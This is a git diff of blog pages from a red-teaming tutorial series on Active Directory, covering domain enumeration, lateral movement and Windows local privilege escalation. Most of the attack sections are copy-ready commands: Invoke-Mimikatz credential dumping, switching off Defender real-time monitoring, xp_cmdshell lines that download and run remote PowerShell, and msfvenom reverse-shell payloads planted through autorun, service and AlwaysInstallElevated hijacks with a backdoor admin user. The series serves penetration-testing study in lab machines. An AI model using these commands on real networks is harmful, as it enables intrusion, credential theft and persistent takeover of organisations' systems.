    +# See Attributes of the Domain Admins Group
    +Get-NetGroup -GroupName "Domain Admins" -FullData
    +# Get Members of the Domain Admins group
    +Get-NetGroupMember -GroupName "Domain Admins"
    +

Active Directory DS Data Store

The Active Directory Data Store holds the databases and processes needed to store and manage directory information such as users, groups, and services. Below is an outline of some of the contents and characteristics of the AD DS Data Store:

  1. Contains the NTDS.dit - a database that contains all of the information of an Active Directory domain controller as well as password hashes for domain users
  2. Stored by default in %SystemRoot%\NTDS
  3. Accessible only by the domain controller

Trees

A hierarchy of domains in Active Directory Domain Services are known as Trees.

All the domains in the tree :

  1. Can share a contiguous namespace with the parent domain
  2. Can have additional child domains
  3. By default create a two-way transitive trust with other child domains

Forests

Active-Directory-Basics-THM-Room

The forest is what defines everything; it is the container that holds all of the other bits and pieces of the network together – without the forest all of the other trees and domains would not be able to interact. The one thing to note when thinking of the forest is to not think of it too literally – it is a physical thing just as much as it is a figurative thing. When we say “forest”, it is only a way of describing the connection created between these trees and domains by the network.

Forest Overview

A forest is a collection of one or more domain trees inside of an Active Directory network. It is what categorizes the parts of the network as a whole.

The Forest consists of these parts which we will go into farther detail with later:

  • Trees - A hierarchy of domains in Active Directory Domain Services
  • Domains - Used to group and manage objects
  • Organizational Units (OUs) - Containers for groups, computers, users, printers and other OUs
  • Trusts - Allows users to access resources in other domains
  • Objects - users, groups, printers, computers, shares
  • Domain Services - DNS Server, LLMNR, IPv6
  • Domain Schema - Rules for object creation

Group Policy Object

Group Policy provides the ability to manage configuration and changes easily and centrally in AD.

Allows configuration of :

  • Security settings
  • Registry-based policy settings
  • Group policy preferences like startup/shutdown/log-on/logoff scripts settings
  • Software installation

GPO can be abused for various attacks like privesc, backdoors, persistence etc.

PowerView Enumeration

We can gather additional information about our target using PowerView

  1. Get list of GPO in current domain.
    1
    +2
    +3
    +4
    +5
    +
    Get-NetGPO
    +Get-NetGPO -ComputerName <computer-name>
    +Get-GPO -All (GroupPolicy module)
    +Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
    +gpresult /R /V (GroupPolicy Results of current machine)
    +
  2. Get GPO(s) which use Restricted Groups or groups.xml for interesting users
    1
    +
    Get-NetGPOGroup 
    +
  3. Get users which are in a local group of a machine using GPO
    1
    +
    Find-GPOComputerAdmin -ComputerName <computer-name>
    +
  4. Get machines where the given user is member of a specific group
    1
    +
    Find-GPOLocation -Username student1 -Verbose
    +
  5. Get OUs in a domain
    1
    +
    Get-NetOU -FullData
    +
  6. Get GPO applied on an OU. Read GPOname from gplink attribute from Get-NetOU
    1
    +2
    +
    Get-NetGPO -GPOname "{AB306569-220D-43FF-BO3B-83E8F4EF8081}"
    +Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081 (GroupPolicy module) 
    +

    Access Control List

image

The Access Control Model enables control on the ability of a process to access objects and other resources in active directory based on:

  • Access Tokens (security context of a process — identity and privs of user)
  • Security Descriptors (SID of the owner, Discretionary ACL (DACL) and System ACL (SACL))
  • It is a list of Access Control Entries (ACE) — ACE corresponds to individual permission or audits access. Who has permission and what can be done on an object?
  • Two types:
    • DACL : Defines the permissions trustees (a user or group) have on an object.
    • SACL : Logs success and failure audit messages when an object is accessed.
  • ACLs are vital to security architecture of AD.

PowerView Enumeration

We can gather additional information about our target using PowerView

  1. Get the ACLs associated with the specified object
    1
    +
    Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs
    +
  2. Get the ACLs associated with the specified prefix to be used for search
    1
    +
    Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
    +
  3. We can also enumerate ACLs using ActiveDirectory module but without resolving GUIDs
    1
    +
    (Get-Acl "AD:\CN=Administrator, CN=<name>, DC=<name>, DC=<name>,DC=local").Access
    +
  4. Get the ACLs associated with the specified LDAP path to be used for search
    1
    +
    Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=<name>,DC=<name>,DC=local" -ResolveGUIDs -Verbose
    +
  5. Search for interesting ACEs
    1
    +
    Invoke-ACLScanner -ResolveGUIDs
    +
  6. Get the ACLs associated with the specified path
    1
    +
    Get-PathAcl -Path "\\<computer-name>\sysvol"
    +

Users + Groups

The users and groups that are inside of an Active Directory are up to you; when you create a domain controller it comes with default groups and two default users: Administrator and guest. It is up to you to create new users and create new groups to add users to.

Users Overview

image

Users are the core to Active Directory; without users why have Active Directory in the first place? There are four main types of users you’ll find in an Active Directory network; however, there can be more depending on how a company manages the permissions of its users. The four types of users are:

  • Domain Admins - This is the big boss: they control the domains and are the only ones with access to the domain controller.
  • Service Accounts (Can be Domain Admins) - These are for the most part never used except for service maintenance, they are required by Windows for services such as SQL to pair a service with a service account
  • Local Administrators - These users can make changes to local machines as an administrator and may even be able to control other normal users, but they cannot access the domain controller
  • Domain Users - These are your everyday users. They can log in on the machines they have the authorization to access and may have local administrator rights to machines depending on the organization.

Groups Overview

image

Groups make it easier to give permissions to users and objects by organizing them into groups with specified permissions. There are two overarching types of Active Directory groups:

  • Security Groups - These groups are used to specify permissions for a large number of users
  • Distribution Groups - These groups are used to specify email distribution lists. As an attacker these groups are less beneficial to us but can still be beneficial in enumeration

Default Security Groups

There are a lot of default security groups so I won’t be going into too much detail of each past a brief description of the permissions that they offer to the assigned group. Here is a brief outline of the security groups:

  • Domain Controllers - All domain controllers in the domain
  • Domain Guests - All domain guests
  • Domain Users - All domain users
  • Domain Computers - All workstations and servers joined to the domain
  • Domain Admins - Designated administrators of the domain
  • Enterprise Admins - Designated administrators of the enterprise
  • Schema Admins - Designated administrators of the schema
  • DNS Admins - DNS Administrators Group
  • DNS Update Proxy - DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers).
  • Allowed RODC Password Replication Group - Members in this group can have their passwords replicated to all read-only domain controllers in the domain
  • Group Policy Creator Owners - Members in this group can modify group policy for the domain
  • Denied RODC Password Replication Group - Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain
  • Protected Users - Members of this group are afforded additional protections against authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=298939 for more information.
  • Cert Publishers - Members of this group are permitted to publish certificates to the directory
  • Read-Only Domain Controllers - Members of this group are Read-Only Domain Controllers in the domain
  • Enterprise Read-Only Domain Controllers - Members of this group are Read-Only Domain Controllers in the enterprise
  • Key Admins - Members of this group can perform administrative actions on key objects within the domain.
  • Enterprise Key Admins - Members of this group can perform administrative actions on key objects within the forest.
  • Cloneable Domain Controllers - Members of this group that are domain controllers may be cloned.
  • RAS and IAS Servers - Servers in this group can access remote access properties of users

Trusts

  • In an AD environment, trust is a relationship between two domains or forests which allows users of one domain or forest to access resources in the other domain or forest.
  • Trust can be automatic (parent-child, same forest etc.) or established (forest, external).
  • Trusted Domain Objects (TDOs) represent the trust relationships in a domain.

One-way trust

  • One-way trust — Unidirectional. Users in the trusted domain can access resources in the trusting domain but the reverse is not true. image

Two-way trusts

  • Two-way trust — Bi-directional. Users of both domains can access resources in the other domain. image

Trust Transitivity

  • Transitive : Can be extended to establish trust relationships with other domains.
    • All the default intra-forest trust relationships (Tree-root, Parent-Child) between domains within a same forest are transitive two-way trusts.
  • Nontransitive — Cannot be extended to other domains in the forest. Can be two-way or one-way.
    • This is the default trust (called external trust) between two domains in different forests when forests do not have a trust relationship. image

PowerView Enumeration

We can gather additional information about our target using PowerView

  1. Get a list of all domain trusts for the current domain
    1
    +2
    +
    Get-NetDomainTrust
    +Get-NetDomainTrust -Domain <domain-name>
    +
  2. Get details about the current forest
    1
    +2
    +
    Get-NetForest
    +Get-NetForest -Forest <forest-name>
    +
  3. Get all domains in the current forest
    1
    +2
    +
    Get-NetForestDomain
    +Get-NetForestDomain -Forest <forest-name>
    +
  4. Get all global catalogs for the current forest
    1
    +2
    +
    Get-NetForestCatalog
    +Get-NetForestCatalog -Forest <forest-name>
    +
  5. Map trusts of a forest
    1
    +2
    +
    Get-NetForestTrust
    +Get-NetForestTrust -Forest <forest-name>
    +

Hunting for users who have Local Admin access using Powerview

  1. Find all machines on the current domain where the current user has local admin access
    1
    +
    Find-LocalAdminAccess -Verbose
    +

    This is very noise This function queries the DC of the current or provided domain for a list of computers (Get-NetComputer) and then use multi-threaded Invoke-CheckLocalAdminAccess on each machine. This can also be done with the help of remote administration tools like WMI and PowerShell remoting. Pretty useful in cases ports (RPC and SMB) used by Find-LocalAdminAccess are blocked. See Find-WMILocalAdminAccess.ps1 This leaves a 4624 (log-on event) and 4634 (log-off event) on each and every object in the domain. Same for Blood-Hound.

  2. Find computers where a domain admin (or specified user/group) has sessions
    1
    +2
    +
    Invoke-UserHunter
    +Invoke-UserHunter -GroupName "RDPUsers"
    +

    This function queries the DC of the current or provided domain for members of the given group (Domain Admins by default) using Get-NetGroupMember, gets a list of computers (Get-NetComputer) and list sessions and logged on users (Get-NetSession/Get-NetLoggedon) from each machine.

  3. To confirm admin access
    1
    +
    Invoke-UserHunter -CheckAccess
    +
  4. Find computers where a domain admin is logged-in
    1
    +
    Invoke-UserHunter -Stealth
    +

    This option queries the DC of the current or provided domain for members of the given group (Domain Admins by default) using Get-NetGroupMember, gets a list only of high traffic servers (DC, File Servers and Distributed File servers) for less traffic generation and list sessions and logged on users (Get-NetSession/Get-NetLoggedon) from each machine.

Policies

The Active Directory domain services are the core functions of an Active Directory network; they allow for management of the domain, security certificates, LDAPs, and much more. This is how the domain controller decides what it wants to do and what services it wants to provide for the domain.

Domain Services Overview

Domain Services are exactly what they sound like. They are services that the domain controller provides to the rest of the domain or tree. There is a wide range of various services that can be added to a domain controller; however, in this room we’ll only be going over the default services that come when you set up a Windows server as a domain controller. Outlined below are the default domain services:

  • LDAP - Lightweight Directory Access Protocol; provides communication between applications and directory services
  • Certificate Services - allows the domain controller to create, validate, and revoke public key certificates
  • DNS, LLMNR, NBT-NS - Domain Name Services for identifying IP hostnames

Domain Authentication Overview

The most important part of Active Directory – as well as the most vulnerable part of Active Directory – is the authentication protocols set in place. There are two main types of authentication in place for Active Directory: NTLM and Kerberos. Since these will be covered in more depth in later rooms we will not be covering past the very basics needed to understand how they apply to Active Directory as a whole.

  • Kerberos - The default authentication service for Active Directory uses ticket-granting tickets and service tickets to authenticate users and give users access to other resources across the domain.
  • NTLM - default Windows authentication protocol uses an encrypted challenge/response protocol

The Active Directory domain services are the main access point for attackers and contain some of the most vulnerable protocols for Active Directory, this will not be the last time you see them mentioned in terms of Active Directory security.

References

  1. https://zer1t0.gitlab.io/posts/attacking_ad/
  2. https://tryhackme.com/room/activedirectorybasics

If you find my articles interesting, you can buy me a coffee

This post is licensed under CC BY 4.0 by the author.
diff --git a/posts/Active-Directory-Lateral-Movement/index.html b/posts/Active-Directory-Lateral-Movement/index.html new file mode 100644 index 00000000..778e9c1a --- /dev/null +++ b/posts/Active-Directory-Lateral-Movement/index.html @@ -0,0 +1,171 @@ + Active Directory - Lateral Movement | 0xStarlight
Home Active Directory - Lateral Movement
Post
Cancel

Active Directory - Lateral Movement

image

Introduction

Welcome to my fourth article in the Red Teaming Series (Active Directory Lateral Movement). I hope everyone has gone through the previous articles of this series which go through the basic concepts required, high-level Domain enumeration explanation and AD/Windows Local Privilege escalation guide.

If not so, you can give it a read from here.

This guide explains Active-Directory Lateral Movement snippets mainly by using PowerShell cmdlets, Inkove-Mimikats and abusing MS-SQL servers in detail. I will also explain those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.

I will continue to update this article with new lateral movement attacks.

Throughout the article, I will use PowerView, Invoke-Mimikatz and PowerUpSQL.psd1 in performing the lateral movement on a Windows/Active Directory Environment. If any other tools are required, they will be mentioned along.

What is Lateral Movement

Lateral movement is when an attacker leverages their current access rights to navigate around your environment. Privilege escalation, which I already covered, is gaining increased access permissions. Attackers combine these two tactics to achieve their ultimate goal of stealing data or doing other damage to your organization.

PowerShell Remoting

  • Think of it as psexec on steroids.
  • You will found this increasingly used in enterprises. Enabled by default on Server 2012 onwards.
  • You may need to enable remoting (Enable-PSRemoting) on a Desktop Windows machine, Admin privs are required to do that.
  • You get elevated shell on remote system if admin creds are used to authenticate (which is the default setting).

By default, enabling PowerShell remoting enables both an http and an https listener. The listeners run on default ports 5985 for http and 5986 for https.

Powershell Sessions

In the table below, you can get a brief understanding of the working and usage of the cmdlets we will be using to perform attacks.

Session TypeCmdletsBenifits
One-to-One1. New-PSSession
2. Enter-PSSession
1. Interactive
2. Runs in a new process (wsmprovhost)
3. Is Stateful
One-to-Many1. Invoke-Command1. Non-interactive
2. Executes commands parallely
3. Execution is in disconnected sessions (v3)
  • Use -Credential parameter to pass username/password
1
+2
+
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
+$cred = New-Object System.Management.Automation.PSCredential("<computer-name>", $pass)
+

Enter/New-PSSession Remoting

1. Connect to a PS-Session of a remote user

1
+
Enter-PSSession -Computername <computer-name> 
+

2. Execute Stateful commands using Enter-PSSession ( persistence )

1
+2
+3
+4
+5
+6
+7
+
$sess = New-PSSession -Computername <computer-name>
+Enter-PSSession -Session $sess
+[scorp.star.light.local]:PS> $proc = Get-Process
+[scorp.star.light.local]:PS> exit
+Enter-PSSession -Session $sess
+[scorp.star.light.local]:PS> proc
+Will list current process
+

Invoke-Command

1. Execute Stateful commands using Invoke-Command ( persistence )

1
+2
+3
+
$sess = New-PSSession -Computername <computer-name>
+Invoke-Command -Session $sess -ScriptBlock {$proc = Get-Process}
+Invoke-Command -Session $sess -ScriptBlock {$proc.Name}
+

2. Display allowed commands we can execute on remote machine

1
+2
+3
+4
+
# copy the command snippet with the parameters which are required
+Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {get-command}
+Invoke-Command -computername <computer-name> -credential $cred -command {get-command}
+Invoke-Command -computername <computer-name> -command {get-command}
+

3. Write File using ScriptBlock

1
+2
+3
+4
+
# copy the command snippet with the parameters which are required
+Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
+Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
+Invoke-Command -ComputerName <computer-name> -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
+

4. Edit file using ScriptBlock

1
+2
+3
+4
+
# copy the command snippet with the parameters which are required
+Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
+Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
+Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here}
+

5. Command execution using command and ScriptBlock

1
+2
+3
+4
+5
+
# copy the command snippet with the parameters which are required
+Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {whoami}
+Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -ScriptBlock {whoami}
+Invoke-Command -computername <computer-name> -command {whoami}
+Invoke-Command -computername <computer-name> -ScriptBlock {whoami}
+

6. File execution using ScriptBlock

1
+2
+3
+4
+
# copy the command snippet with the parameters which are required
+Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
+Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
+Invoke-Command -ComputerName <computer-name> -ScriptBlock{"C:\temp\mimikatz.exe"}
+

7. File execution using FilePath

1
+
Invoke-Command -computername <computer-name> -FilePath "C:\temp\mimikatz.exe"
+

8. Language Mode

1
+
Invoke-Command -computername <computer-name> -ScriptBlock {$ExecutionContext.SessionState.LanguageMode}
+

If the value of the LanguageMode is Constrained, then it will only allow built-in cmdlets execution

Execute locally loaded function on the remote machines

Example : Hello.ps1

1
+2
+3
+4
+
function hello
+{
+Write-Output "Hello from the function"
+}
+

1. Now we can load the function on our machine

1
+
. .\Hello.ps1
+

2. Now we can execute the locally loaded functions

1
+
Invoke-Command -ScriptBlock ${function:hello} -ComputerName <computer-name>
+

3. In this case, we are passing Arguments. Keep in mind that only positional arguments could be passed this way

1
+2
+
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list of servers>) -
+ArgumentList
+

4. Directly load function on the remote machines using FilePath

1
+2
+3
+4
+5
+
$sess = New-PSSession -Computername <computer-name>
+Invoke-Command -FilePath "C:\temp\hello.ps1" -Session $sess
+Enter-PSSession -Session $sess
+[scorp.star.light.local]:PS> hello
+Hello from the function
+

Invoke-Mimikatz

  • The script could be used to dump credentials, tickets and more using mimikatz with PowerShell without dropping the mimikatz exe to disk.
  • It is very useful for passing and replaying hashes, tickets and for many exciting Active Directory attacks.
  • Using the code from ReflectivePEInjection, mimikatz is loaded reflectively into the memory. All the functions of mimikatz could be used from this script.
  • The script needs administrative privileges for dumping credentials from local machine. Many attacks need specific privileges which are covered while discussing that attack.

1. Dump credentials on a local machine

1
+
Invoke-Mimikatz -DumpCreds
+

2. Dump credentials on multiple remote machines

1
+
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
+

Invoke-Mimikatz uses PowerShell remoting cmdlet Invoke-Command to do above.

3. “Over pass the hash” generate tokens from hashes

1
+
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntImhash> /run:powershell.exe"'
+

4. Create new session and dump hashes

1
+2
+3
+4
+5
+6
+7
+8
+
#Create a session for remoting system
+$sess = New-PSSession -ComputerName <computer-name>
+#Bypass AMSI
+Invoke-Command -ScriptBlock {Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; whoami} -Session $sess
+#Locally load mimikatz on your own system
+Import-Module .\Invoke-Mimikatz.ps1
+#Execute locally loaded functions remoting system
+Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz -command '"sekurlsa::logonpasswords"'} -Session $sess
+

MS-SQL Enumeration - Part 1

  • MS SQL servers are generally deployed in plenty in a Windows domain.
  • SQL Servers provide very good options for lateral movement as domain users can be mapped to database roles.

For importing the script use the following command

1
+
Import-Module .\PowerUpSQL.psd1
+

Methodology/Steps

  • 1. Check the SPN’s
  • 2. Check which SPN’s you have access to
  • 3. Check the Privileges you have of the above filtered SPN’s
  • 4. Keep note of the Instance-Name, ServicePrincipalName and the DomainAccount-Name
  • 5. If you find any service with higher privileges continue below to abuse it

PowerUpSQL Enumeration

1. Enumerate SPN

1
+
Get-SQLInstanceDomain
+

2. Check Access

1
+2
+
Get-SQLConnectionTestThreaded
+Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
+

3. Check Privileges / Gather Infromation

1
+
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
+

4. Check impersonation rights (extra)

1
+
Invoke-SQLAudit -Verbose -Instance <instanceName>
+

MS-SQL Abuse - Part 2

  • A database link allows a SQL Server to access external data sources like other SQL Servers and OLE DB data sources.
  • In case of database links between SQL servers, that is, linked SQL servers it is possible to execute stored procedures.
  • Database links work even across forest trusts.

Execute commands on target server

  • On the target server, either xp_cmdshell should be already enabled; or
  • If rpcout is enabled (disabled by default), xp_cmdshell can be enabled using:
1
+
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"
+
  • If rpcout is disabled but we are sa, it can be enabled with
1
+
EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true';
+

Methodology/Steps

  • 1. Check the SQL Server link
  • 2. Keep note if you have link to any other database in DatabaseLinkName
  • 3. If SysAdmin:0 means that we will not be allowed to enable xp_cmdshell
  • 4. Keep on enumerating and check all the linked databases you have access to
  • 5. Now we can try to execute commands through out all the linked databases found

PowerUpSQL - Abusing the privileges

1
+2
+
Get-SQLServerLink -Instance <instanceName> -Verbose
+select * from master..sysservers
+
1
+2
+
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Verbose
+select * from openquery("<instanceName>",'select * from openquery("<linkedInstance>",''select * from master..sysservers'')')
+

3. Execute commands on target server

1
+
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Query "exec master..xp_cmdshell 'whoami'" | ft
+

Extra Commands

1. Download file on target server

1
+
Get-SQLServerLinkCrawl -Instance <instanceName> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://IP:8080/Invoke-HelloWorld.ps1'',''C:\Windows\Temp\Invoke-HelloWorld.ps1'')"'
+

2. Impersonate an user

1
+2
+3
+
Invoke-SQLAuditPrivImpersonateLogin -Instance <instanceName> -Exploit -Verbose
+#Then, we can EXECUTE AS, and chained the 'EXECUTE AS'
+Get-SQLServerLinkCrawl -Verbose -Instance <instanceName> -Query "EXECUTE AS LOGIN = 'dbuser'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'powershell -c iex (new-object net.webclient).downloadstring(''http://IP/Invoke-HelloWorld.ps1'')'"
+

3. Basic SQL Server queries for DB enumeration

Also works with Get-SQLServerLinkCrawl

1
+2
+3
+4
+5
+6
+7
+8
+
#View all db in an instance
+Get-SQLQuery -Instance <instanceName> -Query "SELECT name FROM sys.databases"
+#View all tables
+Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.TABLES" 
+#View all cols in all tables in a db
+Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.columns"
+#View data in table
+Get-SQLQuery -Instance <instanceName> -Query "USE dbName;SELECT * FROM tableName"
+

Tools Used

  1. Invoke-Mimikatz download from here : Invoke-Mimikatz.ps1

  2. PowerUpSQL download from here : PowerUpSQL.psd1

If you find my articles interesting, you can buy me a coffee

This post is licensed under CC BY 4.0 by the author.
diff --git a/posts/Active-Directory-Windows-Local-Priv-Esc/index.html b/posts/Active-Directory-Windows-Local-Priv-Esc/index.html new file mode 100644 index 00000000..5900539b --- /dev/null +++ b/posts/Active-Directory-Windows-Local-Priv-Esc/index.html @@ -0,0 +1,287 @@ + Active Directory - Local Privilege Escalation | 0xStarlight
Home Active Directory - Local Privilege Escalation
Post
Cancel

Active Directory - Local Privilege Escalation

image

Introduction

Welcome to my third article in the Red Teaming Series (Active Directory Local Privilege Escalation). I hope everyone has gone through the first two articles of this series which go through the basic concepts required to understand Active Directory and high-level Domain enumeration explanation.

If not so, you can give it a read from here.

This guide aims to explain Windows/Active-Directory Local Privilege escalation snippets mainly by abusing services, registries, tokens and groups etc., in detail. I will also explain those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.

I will continue to update this article with new privilege escalation vectors.

Throughout the article, I will use PowerView, winPEAS, AccessChk and PowerUp in performing local privilege escalation on an Windows/Active Directory Environment. If any other tools are required, they will be mentioned along.

What is Privilege Escalation

Privilege escalation exploits a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are generally protected from an application or user. Now that you know the meaning of privilege escalation, we can dive right into the techniques for escalation.

Autorun

Methodology

Autorun is a type of Registry Escalation.

To ensure that the IT department creates a secure environment, Windows administrators often need to know what kind of access specific users or groups have to resources, including files, directories, Registry keys, global objects, and Windows services. AccessChk quickly answers these questions with an intuitive interface and output.

So basically, we can say a particular application in a specific directory gets automatically executed with administrator privileges once he logs on. This can be abused by finding the path location and dropping our malicious executable file through which we will gain administrator access.

Detection

Using Autoruns and AccessChk

  1. Transfer Autoruns64.exe on the Windows/AD machine and execute it on cmd
    1
    +
    C:\Temp> Autoruns64.exe
    +

    image

  2. In Autoruns, click on the "Logon" tab.
  3. From the listed results, notice that the "My Program" entry is pointing to "C:\Program Files\Autorun Program\program.exe".
  4. Go back to the command prompt run AccessChk64.exe
1
+2
+3
+4
+5
+6
+
C:\Temp> accesschk64.exe -wvu "C:\Program Files\Autorun Program"
+
+# Switch meaning
+# w --> only show items that have write access
+# v --> verbose; dispaly as many details as possible
+# u --> ignore the errors
+

image

Using PowerUp

  1. Run PowerUp and Run Invoke-AllChecks (check the autoruns field)
1
+2
+3
+
C:\Temp> powershell -ep bypass
+PS C:\Temp>. .\PowerUp.sp1
+PS C:\Temp> Invoke-AllChecks
+

image

From the output, notice that the "Everyone" user group has "FILE_ALL_ACCESS" permission on the "program.exe" file. To gain administrator access, we can drop our malicious executable file by overwriting on the file.

Exploitation

Kali VM

  1. Start a netcat listener
    1
    +
    $ sudo nc -nvlp 53
    +
  2. Open an additional command prompt and type:
    1
    +
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o program.exe
    +
  3. Transfer the generated file, program.exe, to the Windows VM.

Windows VM

  1. replace program.exe in 'C:\Program Files\Autorun Program'

Kali VM

  1. Wait for a reverse shell on your kali machine.

AlwaysInstallElevated

Methodology

AlwaysInstallElevated is a type of Registry Escalation.

This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting.

To install a package with elevated (system) privileges, set the AlwaysInstallElevated value to “1” under both of the following registry keys:

1
+2
+3
+
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
+
+HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
+

If the AlwaysInstallElevated value is not set to “1” under both of the preceding registry keys, the installer uses elevated privileges to install managed applications and uses the current user’s privilege level for unmanaged applications.

Detection

Windows VM

  1. Open command prompt and type:
    1
    +
    C:\Temp> reg query HKLM\Software\Policies\Microsoft\Windows\Installer
    +
    • 0x1 means its ON image
  2. In command prompt type:
    1
    +
    C:\Temp>reg query HKCU\Software\Policies\Microsoft\Windows\Installer
    +
    • 0x1 means its ON image

From the both output, we notice that “AlwaysInstallElevated” value is 1. Hence, we can abuse this function to get privilege escalation.

Using PowerUp

  1. Run Powerup.ps1 and Run Invoke-AllChecks (check the AlwaysInstallElevated field)
    1
    +2
    +3
    +
    C:\Temp> powershell -ep bypass
    +PS C:\Temp>. .\PowerUp.sp1
    +PS C:\Temp> Invoke-AllChecks
    +

    image

  2. Run Write-UserAddMSI and Add backdoor user in Administrators group (Required RDP access) image

  3. Check local Administrators
    1
    +2
    +
    C:\Temp> net localgroup administrators
    +# now backdoor is added to the localgroup administrators group
    +

Exploitation

Kali VM

  1. Start a netcat listener
    1
    +
    $ sudo nc -nvlp 53
    +
  2. Open an additional command prompt and type:
    1
    +
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f msi -o setup.msi
    +
  3. Copy the generated file, setup.msi, to the Windows VM.

Windows VM

  1. Place 'setup.msi' in 'C:\Temp'
  2. Open command prompt and type:
    1
    +
    C:\Temp> msiexec /quiet /qn /i C:\Temp\setup.msi
    +

Kali VM

  1. Wait for a reverse shell on your kali machine.

Service Registry

Methodology

A service registry consists of a cluster of servers that use a replication protocol to maintain consistency. Hence if we get Full Contol permission over the registry key, we can drop our malicious executable file to gain administrator access.

Detection

Windows VM

  1. Open powershell prompt and type:
    1
    +2
    +
    C:\Temp> powershell -ep bypass
    +PS C:\Temp> Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
    +

    image

  2. Notice that the output suggests that user belong to "NT AUTHORITY\INTERACTIVE" has "FullContol" permission over the registry key.

Exploitation

Kali VM

  1. Start a netcat listener
    1
    +
    $ sudo nc -nvlp 53
    +
  2. Open an additional command prompt and type:
    1
    +
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o x.exe
    +
  3. Copy the generated file x.exe, to the Windows VM.

Windows VM

  1. Place x.exe in 'C:\Temp'
  2. Open command prompt at type:
    1
    +
    C:\Temp> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
    +
  3. In the command prompt type:
    1
    +2
    +
    C:\Temp> sc start regsvc
    +# If it doesnt work try restaring the service and perform the exploit egain
    +

image

Kali VM

  1. Wait for a reverse shell on your kali machine.

Executable Files

Methodology

Microsoft Windows services, formerly known as NT services, enable you to create long-running executable applications that run in their own Windows sessions. These services can be automatically started when the computer boots, can be paused and restarted, and do not show any user interface.

Hence if we get Full Contol permission over the file path location, we can drop our malicious executable file to gain administrator access.

Detection

  1. Run Powerup.ps1 and Run Invoke-AllChecks (check the service executable field)
    1
    +2
    +3
    +
    C:\Temp> powershell -ep bypass
    +PS C:\Temp>. .\PowerUp.sp1
    +PS C:\Temp> Invoke-AllChecks
    +

image

We can see that we have Modifiable File access to "c:\Program Files\File Permissions Service\filepermservice.exe". To gain administrator access, we can drop our malicious executable file on this location.

Exploitation

Kali VM

  1. Start a netcat listener
    1
    +
    $ sudo nc -nvlp 53
    +
  2. Open an additional command prompt and type:
    1
    +
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o x.exe
    +
  3. Copy the generated file x.exe, to the Windows VM and replace it over filepermsvc.exe.

Windows VM

  1. In command prompt type:
    1
    +
    C:\Temp> sc start filepermsvc
    +

Kali VM

  1. Wait for a reverse shell on your kali machine.

Startup Applications

Methodology

Startup apps run in the background, the number of apps running on the system can be significantly more than what the user is aware of and affect system responsiveness. Startup apps are classified to include those leveraging these mechanisms to start:

  • Run registry keys (HKLM, HKCU, wow64 nodes included)
  • RunOnce registry keys
  • Startup folders under the start menu for per user and public locations

